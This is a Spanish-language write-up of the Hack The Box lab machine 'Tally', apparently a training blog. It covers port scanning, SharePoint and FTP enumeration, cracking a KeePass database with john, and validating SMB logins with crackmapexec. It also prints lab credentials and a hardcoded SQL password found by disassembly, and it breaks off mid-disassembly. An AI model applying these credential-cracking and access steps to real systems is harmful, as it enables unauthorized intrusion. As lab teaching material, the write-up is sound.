Post

Hack The Box Tally

Tally

Se procede con la fase de reconocimiento lanzando primeramente un ping a la dirección IP 10.10.10.59.

1
2
3
4
5
6
7
❯ ping -c 1 10.10.10.59
PING 10.10.10.59 (10.10.10.59) 56(84) bytes of data.
64 bytes from 10.10.10.59: icmp_seq=1 ttl=127 time=138 ms

--- 10.10.10.59 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 138.013/138.013/138.013/0.000 ms

De acuerdo con el TTL de traza ICMP, se puede determinar que se trata de una máquina con sistema operativo Windows. A continuación se procede con la ejecución de nmap para determinar los puertos abiertos de la máquina y exportanto la información al archivo allPorts.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
❯ nmap -p- --open --min-rate 5000 -vvv -n -Pn 10.10.10.59 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.92 ( https://nmap.org ) at 2021-11-18 21:23 CST
Initiating SYN Stealth Scan at 21:23         
Scanning 10.10.10.59 [65535 ports]           
Discovered open port 139/tcp on 10.10.10.59  
Discovered open port 80/tcp on 10.10.10.59   
Discovered open port 21/tcp on 10.10.10.59 
Discovered open port 445/tcp on 10.10.10.59  
Discovered open port 135/tcp on 10.10.10.59 
Discovered open port 5985/tcp on 10.10.10.59
Discovered open port 49670/tcp on 10.10.10.59
Discovered open port 32844/tcp on 10.10.10.59
Discovered open port 32843/tcp on 10.10.10.59
Discovered open port 49666/tcp on 10.10.10.59
Discovered open port 49668/tcp on 10.10.10.59                                                                                    
Discovered open port 47001/tcp on 10.10.10.59
Discovered open port 49664/tcp on 10.10.10.59 
Discovered open port 808/tcp on 10.10.10.59
Discovered open port 32846/tcp on 10.10.10.59                                                                                    
Discovered open port 1433/tcp on 10.10.10.59                                                                                     
Discovered open port 81/tcp on 10.10.10.59
Discovered open port 49669/tcp on 10.10.10.59
Discovered open port 49665/tcp on 10.10.10.59
Discovered open port 15567/tcp on 10.10.10.59
Discovered open port 49667/tcp on 10.10.10.59
Completed SYN Stealth Scan at 21:24, 19.22s elapsed (65535 total ports)
Nmap scan report for 10.10.10.59            
Host is up, received user-set (0.14s latency).
Scanned at 2021-11-18 21:23:45 CST for 19s  
Not shown: 64411 closed tcp ports (reset), 1103 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE      REASON
21/tcp    open  ftp          syn-ack ttl 127
80/tcp    open  http         syn-ack ttl 127
81/tcp    open  hosts2-ns    syn-ack ttl 127
135/tcp   open  msrpc        syn-ack ttl 127
139/tcp   open  netbios-ssn  syn-ack ttl 127
445/tcp   open  microsoft-ds syn-ack ttl 127
808/tcp   open  ccproxy-http syn-ack ttl 127
1433/tcp  open  ms-sql-s     syn-ack ttl 127
5985/tcp  open  wsman        syn-ack ttl 127
15567/tcp open  unknown      syn-ack ttl 127
32843/tcp open  unknown      syn-ack ttl 127
32844/tcp open  unknown      syn-ack ttl 127
32846/tcp open  unknown      syn-ack ttl 127
47001/tcp open  winrm        syn-ack ttl 127
49664/tcp open  unknown      syn-ack ttl 127
49665/tcp open  unknown      syn-ack ttl 127
49666/tcp open  unknown      syn-ack ttl 127
49667/tcp open  unknown      syn-ack ttl 127
49668/tcp open  unknown      syn-ack ttl 127
49669/tcp open  unknown      syn-ack ttl 127
49670/tcp open  unknown      syn-ack ttl 127

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 19.33 seconds
           Raw packets sent: 94470 (4.157MB) | Rcvd: 73599 (2.944MB)

Mediante la función extractPorts definida a nivel de zsh , se obtiene la información más relevante de la captura grepeable.

1
2
3
4
5
6
7
8
9
10
11
12
❯ extractPorts allPorts
───────┬─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
       │ File: extractPorts.tmp
───────┼─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
   1   │ 
   2   │ [*] Extracting information...
   3   │ 
   4   │     [*] IP Address: 10.10.10.59
   5   │     [*] Open ports: 21,80,81,135,139,445,808,1433,5985,15567,32843,32844,32846,47001,49664,49665,49666,49667,49668,49669
       │ ,49670
   6   │ 
   7   │ [*] Ports copied to clipboard

A continuación se lanza una serie de scripts para determinar el servicio y versión que corren para los puertos detectados.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
❯ nmap -sC -sV -p21,80,81,135,139,445,808,1433,5985,15567,32843,32844,32846,47001,49664,49665,49666,49667,49668,49669,49670 10.10
.10.59 -oN targeted                                             
Starting Nmap 7.92 ( https://nmap.org ) at 2021-11-18 21:25 CST 
Nmap scan report for 10.10.10.59                                                                                                 
Host is up (0.14s latency).                                     
                                
PORT      STATE SERVICE            VERSION                                                                                       
21/tcp    open  ftp                Microsoft ftpd                                                                                
| ftp-syst:                                                     
|_  SYST: Windows_NT                                                                                                             
80/tcp    open  http               Microsoft IIS httpd 10.0
|_http-generator: Microsoft SharePoint                                                                                           
| http-ntlm-info:                                                                                                                
|   Target_Name: TALLY                                          
|   NetBIOS_Domain_Name: TALLY                                                                                                   
|   NetBIOS_Computer_Name: TALLY                        
|   DNS_Domain_Name: TALLY                                      
|   DNS_Computer_Name: TALLY                                    
|_  Product_Version: 10.0.14393                                 
|_http-server-header: Microsoft-IIS/10.0                                                                                         
| http-title: Home            
|_Requested resource was http://10.10.10.59/_layouts/15/start.aspx#/default.aspx
81/tcp    open  http               Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Bad Request                                       
135/tcp   open  msrpc              Microsoft Windows RPC                                                                         
139/tcp   open  netbios-ssn        Microsoft Windows netbios-ssn          
445/tcp   open  microsoft-ds       Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
808/tcp   open  ccproxy-http?
1433/tcp  open  ms-sql-s           Microsoft SQL Server 2016 13.00.1601.00; RTM
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2021-11-19T03:28:04                         
|_Not valid after:  2051-11-19T03:28:04
| ms-sql-ntlm-info:                                             
|   Target_Name: TALLY         
|   NetBIOS_Domain_Name: TALLY                                  
|   NetBIOS_Computer_Name: TALLY 
|   DNS_Domain_Name: TALLY
|   DNS_Computer_Name: TALLY  
|_  Product_Version: 10.0.14393                                 
|_ssl-date: 2021-11-19T03:31:34+00:00; +4m58s from scanner time.
5985/tcp  open  http               Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0                     
|_http-title: Not Found                                                                                                          
15567/tcp open  http               Microsoft IIS httpd 10.0                                                                      
|_http-server-header: Microsoft-IIS/10.0                    
| http-auth:                                                                                                                     
| HTTP/1.1 401 Unauthorized\x0D                                 
|   Negotiate                                                                                                                    
|_  NTLM
|_http-title: Site doesn't have a title.
| http-ntlm-info: 
|   Target_Name: TALLY
|   NetBIOS_Domain_Name: TALLY
|   NetBIOS_Computer_Name: TALLY 
|   DNS_Domain_Name: TALLY
|   DNS_Computer_Name: TALLY
|_  Product_Version: 10.0.14393
32843/tcp open  http               Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Service Unavailable
32844/tcp open  ssl/http           Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
| ssl-cert: Subject: commonName=SharePoint Services/organizationName=Microsoft/countryName=US
| Subject Alternative Name: DNS:localhost, DNS:tally
| Not valid before: 2017-09-17T22:51:16
|_Not valid after:  9999-01-01T00:00:00
|_ssl-date: 2021-11-19T03:31:34+00:00; +4m58s from scanner time. 
|_http-title: Service Unavailable
| tls-alpn: 
|   h2
|_  http/1.1
32846/tcp open  storagecraft-image StorageCraft Image Manager
47001/tcp open  http               Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc              Microsoft Windows RPC
49665/tcp open  msrpc              Microsoft Windows RPC
49666/tcp open  msrpc              Microsoft Windows RPC
49667/tcp open  msrpc              Microsoft Windows RPC
49668/tcp open  msrpc              Microsoft Windows RPC
49669/tcp open  msrpc              Microsoft Windows RPC
49670/tcp open  msrpc              Microsoft Windows RPC
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2021-11-19T03:31:12
|_  start_date: 2021-11-19T03:27:44
| ms-sql-info: 
|   10.10.10.59:1433: 
|     Version: 
|       name: Microsoft SQL Server 2016 RTM
|       number: 13.00.1601.00
|       Product: Microsoft SQL Server 2016
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_clock-skew: mean: 4m57s, deviation: 0s, median: 4m57s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 89.10 seconds

Vemos varios puertos abiertos y como recomendación, vamos primero con aquellos que tengan presente el servicio HTTP. Antes de ingresar vía web, vamos a tratar de ver a lo que nos enfrentamos con la herramienta whatweb:

1
2
3
4
❯ whatweb http://10.10.10.59/
http://10.10.10.59/ [302 Found] Country[RESERVED][ZZ], HTTPServer[Microsoft-IIS/10.0], IP[10.10.10.59], Microsoft-IIS[10.0], Microsoft-Sharepoint[15.0.0.4420], RedirectLocation[http://10.10.10.59/default.aspx], Title[Document Moved], UncommonHeaders[x-sharepointhealthscore,sprequestguid,request-id,sprequestduration,spiislatency,microsoftsharepointteamservices,x-content-type-options,x-ms-invokeapp], X-Frame-Options[SAMEORIGIN], X-Powered-By[ASP.NET]

http://10.10.10.59/default.aspx [200 OK] ASP_NET[4.0.30319], Country[RESERVED][ZZ], HTTPServer[Microsoft-IIS/10.0], IP[10.10.10.59], MetaGenerator[Microsoft SharePoint], Microsoft-IIS[10.0], Microsoft-Sharepoint[15.0.0.4420], Script[text/javascript], Title[Home - Home][Title element contains newline(s)!], UncommonHeaders[x-sharepointhealthscore,sprequestguid,request-id,sprequestduration,spiislatency,microsoftsharepointteamservices,x-content-type-options,x-ms-invokeapp], X-Frame-Options[SAMEORIGIN], X-Powered-By[ASP.NET], X-UA-Compatible[IE=10]

Aquí vemos que se tiene un Microsoft Sharepoint el cual podemos ver si ingresamos vía web.

""

Otro puerto en el cual podría haber algo sería el 15567 que al ingresar vía web, nos solicita credenciales, las cuales no contamos.

1
2
❯ whatweb http://10.10.10.59:15567/
http://10.10.10.59:15567/ [401 Unauthorized] Country[RESERVED][ZZ], HTTPServer[Microsoft-IIS/10.0], IP[10.10.10.59], Microsoft-IIS[10.0], Microsoft-Sharepoint[15.0.0.4420], UncommonHeaders[sprequestguid,request-id,sprequestduration,spiislatency,microsoftsharepointteamservices,x-content-type-options,x-ms-invokeapp], WWW-Authenticate[Negotiate, NTLM], X-Frame-Options[SAMEORIGIN], X-Powered-By[ASP.NET]

""

Analizando un poco más la información que tenemos, vemos el puerto 21 y el 445 abiertos a los cuales podríamos tratar de conectarnos como el usuario anonymous para el FTP y null para SMB; sin embargo, no podemos y no vemos nada interesante.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
❯ ftp 10.10.10.59                                               
Connected to 10.10.10.59.                                       
220 Microsoft FTP Service
Name (10.10.10.59:k4miyo): anonymous                                                                                             
331 Password required
Password:                                                       
530 User cannot log in.                                                                                                          
Login failed.                                                   
Remote system type is Windows_NT.                                                                                                
ftp> quit        
221 Goodbye.                                                                                                                     
❯ crackmapexec smb 10.10.10.59 --shares
SMB         10.10.10.59     445    TALLY            [*] Windows Server 2016 Standard 14393 x64 (name:TALLY) (domain:TALLY) (signi
ng:False) (SMBv1:True)                                          
Traceback (most recent call last):                                                                                               
  File "/root/.local/pipx/venvs/crackmapexec/lib/python3.9/site-packages/impacket/nmb.py", line 983, in non_polling_read
    received = self._sock.recv(bytes_left)                                                                                       
  File "/root/.local/pipx/venvs/crackmapexec/lib/python3.9/site-packages/gevent/_socketcommon.py", line 657, in recv
    return self._sock.recv(*args)                                                                                                
ConnectionResetError: [Errno 104] Connection reset by peer
❯ smbclient -L 10.10.10.59 -N
session setup failed: NT_STATUS_ACCESS_DENIED

Vemos que también está el servicio Microsoft Windows RPC por lo que podríamos tratar de conectarnos con una null session:

1
2
3
❯ rpcclient -U "" 10.10.10.59
Enter WORKGROUP\'s password: 
Cannot connect to server.  Error was NT_STATUS_LOGON_FAILURE

Como no pudimos obtener informacion relevante de los puerto, vamos a regresar con el sitio web Microsoft Sharepoint y lo normal sería aplicar un fuzzing para tratar de descubrir recursos dentro de la máquina; sin embargo, debido a la lentitud de la misma, vamos a tratar de encontrar un recurso que nos ayude para probar rutas que podrían existir, para este caso, vamos a utilizar the-infosec. Utilizaremos el recurso _layouts/15/viewlsts.aspx:

""

Vemos que los directorios Documents y Site Pages presentan contenido, así que vamos a echarles un ojo. El directorio Documents tiene un archivo llamado ftp-details, así que vamos a descargarlo y ver su contenido.

""

Al abrir el archivo, nos aparece una contraseña de acceso por el servicio FTP; sin embargo, no contamos con el usuario.

""

Para el caso del directorio Site Pages, si checamos la dirección URL, nos sale algo como http://10.10.10.59/_layouts/15/start.aspx#/SitePages/Forms/AllPages.aspx; lo que se está aplicando una redirección incorrecta, así que vamos a eliminar la parte _layouts/15/start.aspx#/ para que nos quede así http://10.10.10.59/SitePages/Forms/AllPages.aspx:

""

De igual forma, nos descargamos el recurso para ver su contenido. Hay que tener cuidado porque se aplica la redirección incorrecta y debemos de eliminar la misma parte _layouts/15/start.aspx#/:

""

Leyendo un poco, vemos que se le está solicitando al usuario Rahul subir archivos usando la cuenta ftp_user. Por lo que ya a este punto, contamos con posibles credenciales válidas de acceso al servicio FTP, así que vamos a probarlas:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
❯ ftp 10.10.10.59
Connected to 10.10.10.59.
220 Microsoft FTP Service
Name (10.10.10.59:k4miyo): ftp_user
331 Password required
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> dir
200 PORT command successful.
125 Data connection already open; Transfer starting.
08-31-17  10:51PM       <DIR>          From-Custodian
10-01-17  10:37PM       <DIR>          Intranet
08-28-17  05:56PM       <DIR>          Logs
09-15-17  08:30PM       <DIR>          To-Upload
09-17-17  08:27PM       <DIR>          User
226 Transfer complete.
ftp> 

Vemos varios directorios dentro del servicio FTP. Para trabajar un poco más cómodos y poder visualizar todos los recursos, vamos a crearnos una montura con la herramienta curlftpfs (Nota: Si no tenemos la herramienta, la podemos instalar con apt-get install curlftpfs):

1
2
mkdir /mnt/ftp
❯ curlftpfs ftp_user:UTDRSCH53c\"\$6hys@10.10.10.59 /mnt/ftp/

Ahora accedemos a la ruta en nuestro sistema /mnt/ftp y podemos visualizar el contenido del servicio FTP de la máquina víctima.

1
2
3
4
5
6
7
cd /mnt/ftp/
❯ ll
d--------- root root 0 B Thu Aug 31 23:51:00 2017  From-Custodian
d--------- root root 0 B Sun Oct  1 23:37:00 2017  Intranet
d--------- root root 0 B Mon Aug 28 18:56:00 2017  Logs
d--------- root root 0 B Fri Sep 15 21:30:00 2017  To-Upload
d--------- root root 0 B Sun Sep 17 21:27:00 2017  User

Si ejecutamos el comando tree nos aparecerá mucha información, por lo que vamos a filtrarla omitiendo aquellos archivos que tengan RED- y ftp_connect:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
❯ tree | grep -i -v -E "red-|ftp_connect"
.                                                               
├── From-Custodian
├── Intranet                                                    
│   └── Binaries
│       └── Firefox Setup 44.0.2.exe
├── Logs                                                                  
├── To-Upload         
│   ├── employees-id_number.xlsx
│   └── Invoices.zip      
└── User     
    ├── Administrator           
    │   └── New folder
    ├── Ekta                                                    
    │   ├── OFSI_quick_guide_flyer.pdf
    │   └── PSAIS_1_April_2017.pdf
    ├── Jess                                                    
    │   └── actu8-espreadsheet-designer-datasheet.pdf
    ├── Paul     
    │   ├── financial-list-guide.pdf
    │   ├── financial_sanctions_guidance_august_2017.pdf
    │   ├── Monetary_penalties_for_breaches_of_financial_sanctions.pdf
    │   └── New folder         
    ├── Rahul                                                   
    │   └── Mockups-Backup                                      
    ├── Sarah                                                   
    │   ├── MBSASetup-x64-EN.msi                                
    │   ├── notes.txt          
    │   └── Windows-KB890830-x64-V5.52.exe
    ├── Stuart                                                  
    │   ├── customers - Copy.csv
    │   └── Unit4-Connect-Financials-Agenda.pdf
    ├── Tim                                                     
    │   ├── Files                                               
    │   │   ├── bonus.txt                                       
    │   │   ├── KeePass-2.36                                    
    │   │   │   ├── KeePass.chm
    │   │   │   ├── KeePass.exe
    │   │   │   ├── KeePass.exe.config
    │   │   │   ├── KeePassLibC32.dll
    │   │   │   ├── KeePassLibC64.dll
    │   │   │   ├── KeePass.XmlSerializers.dll
    │   │   │   ├── License.txt
    │   │   │   ├── Plugins
    │   │   │   ├── ShInstUtil.exe
    │   │   │   └── XSL
    │   │   │       ├── KDBX_Common.xsl
    │   │   │       ├── KDBX_DetailsFull_HTML.xsl
    │   │   │       ├── KDBX_DetailsLight_HTML.xsl
    │   │   │       ├── KDBX_PasswordsOnly_TXT.xsl
    │   │   │       └── KDBX_Tabular_HTML.xsl
    │   │   └── tim.kdbx
    │   └── Project
    │       ├── Communications
    │       ├── Log
    │       │   └── do to.txt
    │       └── Vendors
    └── Yenwi
        └── Archive

27 directories, 130 files

Algo que debemos de notar es que el posible usuario Tim tiene un archivo de extensión kdbx, asociado a la aplicación Keepass para guardar credenciales; así que vamos a traerlo a nuestro directorio de trabajo.

1
2
3
4
cp User/Tim/Files/tim.kdbx /home/k4miyo/Documentos/HTB/Tally/content/.
❯ cd /home/k4miyo/Documentos/HTB/Tally/content/
❯ file tim.kdbx
tim.kdbx: Keepass password database 2.x KDBX

Si tratamos de abrir el archivo, este nos solicitará una contraseña:

""

Ahora vamos a utilizar keepass2john para generar un hash del archivo tim.kdbx y posteriormente tratar de crackearlo con john:

1
2
3
4
5
6
7
8
9
10
11
12
13
❯ keepass2john tim.kdbx > tim_hash
❯ john --wordlist=/usr/share/wordlists/rockyou.txt tim_hash
Using default input encoding: UTF-8
Loaded 1 password hash (KeePass [SHA256 AES 32/64])
Cost 1 (iteration count) is 6000 for all loaded hashes
Cost 2 (version) is 2 for all loaded hashes
Cost 3 (algorithm [0=AES, 1=TwoFish, 2=ChaCha]) is 0 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
simplementeyo    (tim)
1g 0:00:00:03 DONE (2021-11-18 22:27) 0.3105g/s 7672p/s 7672c/s 7672C/s teamomivida..rylee
Use the "--show" option to display all of the cracked passwords reliably
Session completed

Contamos con la contraseña del archivo tim.kdbx, asi que vamos a ver su contenido.

""

""

Tenemos unas nuevas credenciales, así que primeramente las guardamos. Ahora podríamos tratar de validarlas dentro del servicio SMB:

1
2
3
❯ crackmapexec smb 10.10.10.59 -u 'Finance' -p 'Acc0unting'
SMB         10.10.10.59     445    TALLY            [*] Windows Server 2016 Standard 14393 x64 (name:TALLY) (domain:TALLY) (signing:False) (SMBv1:True)
SMB         10.10.10.59     445    TALLY            [+] TALLY\Finance:Acc0unting

Contamos con credenciales válidas de acceso al servicio SMB, pero como no nos pone un Pwn3d, no podemos ejecutar comandos. Vamos por SMB para ver que podemos encontrar:

1
2
3
4
5
6
7
8
9
10
❯ crackmapexec smb 10.10.10.59 -u 'Finance' -p 'Acc0unting' --shares
SMB         10.10.10.59     445    TALLY            [*] Windows Server 2016 Standard 14393 x64 (name:TALLY) (domain:TALLY) (signing:False) (SMBv1:True)
SMB         10.10.10.59     445    TALLY            [+] TALLY\Finance:Acc0unting 
SMB         10.10.10.59     445    TALLY            [+] Enumerated shares
SMB         10.10.10.59     445    TALLY            Share           Permissions     Remark
SMB         10.10.10.59     445    TALLY            -----           -----------     ------
SMB         10.10.10.59     445    TALLY            ACCT            READ            
SMB         10.10.10.59     445    TALLY            ADMIN$                          Remote Admin
SMB         10.10.10.59     445    TALLY            C$                              Default share
SMB         10.10.10.59     445    TALLY            IPC$                            Remote IPC

Vemos que tenemos capacidad de lectura sobre el directorio ACCT; asi que vamos a conectarnos.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
❯ smbclient '\\10.10.10.59\ACCT' -U 'Finance%Acc0unting'
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Mon Sep 18 00:58:18 2017
  ..                                  D        0  Mon Sep 18 00:58:18 2017
  Customers                           D        0  Sun Sep 17 15:28:40 2017
  Fees                                D        0  Mon Aug 28 16:20:52 2017
  Invoices                            D        0  Mon Aug 28 16:18:19 2017
  Jess                                D        0  Sun Sep 17 15:41:29 2017
  Payroll                             D        0  Mon Aug 28 16:13:32 2017
  Reports                             D        0  Fri Sep  1 15:50:11 2017
  Tax                                 D        0  Sun Sep 17 15:45:47 2017
  Transactions                        D        0  Wed Sep 13 14:57:44 2017
  zz_Archived                         D        0  Fri Sep 15 15:29:35 2017
  zz_Migration                        D        0  Sun Sep 17 15:49:13 2017

                8387839 blocks of size 4096. 717276 blocks available
smb: \>

Tenemos varios recursos, así que para trabajar mas cómodos, vamos a crearnos una mountura y de forma similar, vamos a ejecutar el comando tree.

1
2
mkdir /mnt/smbmounted
❯ mount -t cifs "//10.10.10.59/ACCT" /mnt/smbmounted/ -o username=Finance,password=Acc0unting,domain=TALLY,rw

Debido a que el servidor va muy lento, dentro del ruta /mnt/smbmounted/zz_Migration/Binaries/ vamos a ver una carpeta que se llamada New folder (que destaca porque no tiene un nombre como los demás) y dentro de esta vemos un archivo llamado tester.exe (que también destaca porque tiene un nombre no asociado con alguna aplicación como las demas).

1
2
3
4
5
6
7
8
9
10
11
12
13
cd "New folder"
❯ tree
.
├── crystal_reports_viewer_2016_sp04_51051980.zip
├── Macabacus2016.exe
├── Orchard.Web.1.7.3.zip
├── putty.exe
├── RpprtSetup.exe
├── tableau-desktop-32bit-10-3-2.exe
├── tester.exe
└── vcredist_x64.exe

0 directories, 8 files

El archivo tester.exe lo pasamos a nuestro directorio de trabajo para analizarlo.

1
2
cp tester.exe /home/k4miyo/Documentos/HTB/Tally/content/.
❯ cd !$

Vamos a analizar el archivo mediante el uso de la herramienta radare2; por lo que tenemos que instalarla en nuestra máquina. (Nota: Realizar la instalación como un usuario normal y no como root).

1
2
3
4
5
6
7
8
9
10
11
12
❯ radare2 tester.exe
 -- Disassemble?! No Disassemble Johnny No. 5!!!
[0x004092f5]> aaaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Finding and parsing C++ vtables (avrr)
[x] Type matching analysis for all functions (aaft)
[x] Propagate noreturn information (aanr)
[x] Finding function preludes
[x] Enable constraint types analysis for variables
[0x004092f5]>

Inicializamos con el comando aaaa en donde se nos muestra los pasos que toma y una breve descripción de estos. Con el comando afl podemos ver las funciones que contiene el programa, con pdf @main podemos ver a bajo nivel como está el programa. Lo mismo lo podemos lograr con s main para movernos a la función main y luego aplicar un pdf.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
[0x004011a0]> pdf @main                                                                                                 [159/159]
            ; CALL XREF from entry0 @ 0x40927a               
┌ 592: int main (int argc, char **argv, char **envp);; var int32_t var_49ch @ ebp-0x49c                                                                                   
│           ; var int32_t var_498h @ ebp-0x498                                                                                   
│           ; var signed int var_494h @ ebp-0x494                                                                                
│           ; var int32_t var_490h @ ebp-0x490                                                                                   
│           ; var int32_t var_48ch @ ebp-0x48c                                                                                   
│           ; var int32_t var_488h @ ebp-0x488                
│           ; var int32_t var_484h @ ebp-0x484                                                                                   
│           ; var int32_t var_84h @ ebp-0x84                    
│           ; var int32_t var_44h @ ebp-0x44                                                                                     
│           ; var int32_t var_4h @ ebp-0x4                                                                                       
│           0x004011a0      55             push ebp           
│           0x004011a1      8bec           mov ebp, esp                                                                          
│           0x004011a3      81ec9c040000   sub esp, 0x49c                                                                        
│           0x004011a9      a168304300     mov eax, dword [0x433068]   ; [0x433068:4]=0xbb40e64e ; "N\xe6@\xbb\xb1\x19\xbfDu\x98"
│           0x004011ae      33c5           xor eax, ebp
│           0x004011b0      8945fc         mov dword [var_4h], eax
│           ; CODE XREF from main @ 0x4013a9                                                                                     
│       ┌─> 0x004011b3      8d8568fbffff   lea eax, [var_498h]                                                                   
│       ╎   0x004011b9      50             push eax                                                                              
│       ╎   0x004011ba      6a00           push 0                                                                                
│       ╎   0x004011bc      6a01           push 1                      ; 1                                                       
│       ╎   0x004011be      e8117c0000     call sub.ODBC32.dll_SQLAllocHandle                                                    
│       ╎   0x004011c3      0fbfc8         movsx ecx, ax                                                                         
│       ╎   0x004011c6      85c9           test ecx, ecx                                                                         
│      ┌──< 0x004011c8      7405           je 0x4011cf                                                                           
│     ┌───< 0x004011ca      e9e0010000     jmp 0x4013af                                                                          
│     ││╎   ; CODE XREF from main @ 0x4011c8                  
│     │└──> 0x004011cf      6a00           push 0                                                                                
│     │ ╎   0x004011d1      6a03           push 3                      ; 3                                                       
│     │ ╎   0x004011d3      68c8000000     push 0xc8                   ; 200                                                     
│     │ ╎   0x004011d8      8b9568fbffff   mov edx, dword [var_498h]                                                             
│     │ ╎   0x004011de      52             push edx                                                                              
│     │ ╎   0x004011df      e81a7c0000     call sub.ODBC32.dll_SQLSetEnvAttr                                                     
│     │ ╎   0x004011e4      98             cwde         
│     │ ╎   0x004011e5      85c0           test eax, eax                                                                         
│     │┌──< 0x004011e7      7405           je 0x4011ee                                                                           
│    ┌────< 0x004011e9      e9c1010000     jmp 0x4013af                                                                          
│    │││╎   ; CODE XREF from main @ 0x4011e7                                                                                     
│    ││└──> 0x004011ee      8d8d74fbffff   lea ecx, [var_48ch]                                                                   
│    ││ ╎   0x004011f4      51             push ecx                                                                              
│    ││ ╎   0x004011f5      8b9568fbffff   mov edx, dword [var_498h]
│    ││ ╎   0x004011fb      52             push edx                                                                              
│    ││ ╎   0x004011fc      6a02           push 2                      ; 2                                                       
│    ││ ╎   0x004011fe      e8d17b0000     call sub.ODBC32.dll_SQLAllocHandle
│    ││ ╎   0x00401203      98             cwde                                                                                  
│    ││ ╎   0x00401204      85c0           test eax, eax
│    ││┌──< 0x00401206      7405           je 0x40120d                                                                           
│   ┌─────< 0x00401208      e9a2010000     jmp 0x4013af      
│   ││││╎   ; CODE XREF from main @ 0x401206
│   │││└──> 0x0040120d      6a00           push 0
│   │││ ╎   0x0040120f      6a00           push 0
│   │││ ╎   0x00401211      6800040000     push 0x400                  ; 1024
│   │││ ╎   0x00401216      8d8d7cfbffff   lea ecx, [var_484h]
│   │││ ╎   0x0040121c      51             push ecx
│   │││ ╎   0x0040121d      6afd           push 0xfffffffffffffffd
│   │││ ╎   0x0040121f      6808424200     push str.DRIVERSQL_Server_SERVERTALLY__1433_DATABASEorcharddb_UIDsa_PWDGWE3V656KFH93_4
GWTG2G_ ; 0x424208 ; "DRIVER={SQL Server};SERVER=TALLY, 1433;DATABASE=orcharddb;UID=sa;PWD=GWE3V65#6KFH93@4GWTG2G;"
│   │││ ╎   0x00401224      6a00           push 0
│   │││ ╎   0x00401226      8b9574fbffff   mov edx, dword [var_48ch]
│   │││ ╎   0x0040122c      52             push edx
│   │││ ╎   0x0040122d      e8d27b0000     call sub.ODBC32.dll_SQLDriverConnect
│   │││ ╎   0x00401232      98             cwde
│   │││ ╎   0x00401233      89856cfbffff   mov dword [var_494h], eax
│   │││ ╎   0x00401239      83bd6cfbffff.  cmp dword [var_494h], 0xfffffffe
│   │││┌──< 0x00401240      7c42           jl 0x401284
│   ││││╎   0x00401242      83bd6cfbffff.  cmp dword [var_494h], 0
│  ┌──────< 0x00401249      7c1e           jl 0x401269
│  │││││╎   0x0040124b      83bd6cfbffff.  cmp dword [var_494h], 1
│ ┌───────< 0x00401252      7402           je 0x401256
│ ────────< 0x00401254      eb2e           jmp 0x401284
│ ││││││╎   ; CODE XREF from main @ 0x401252
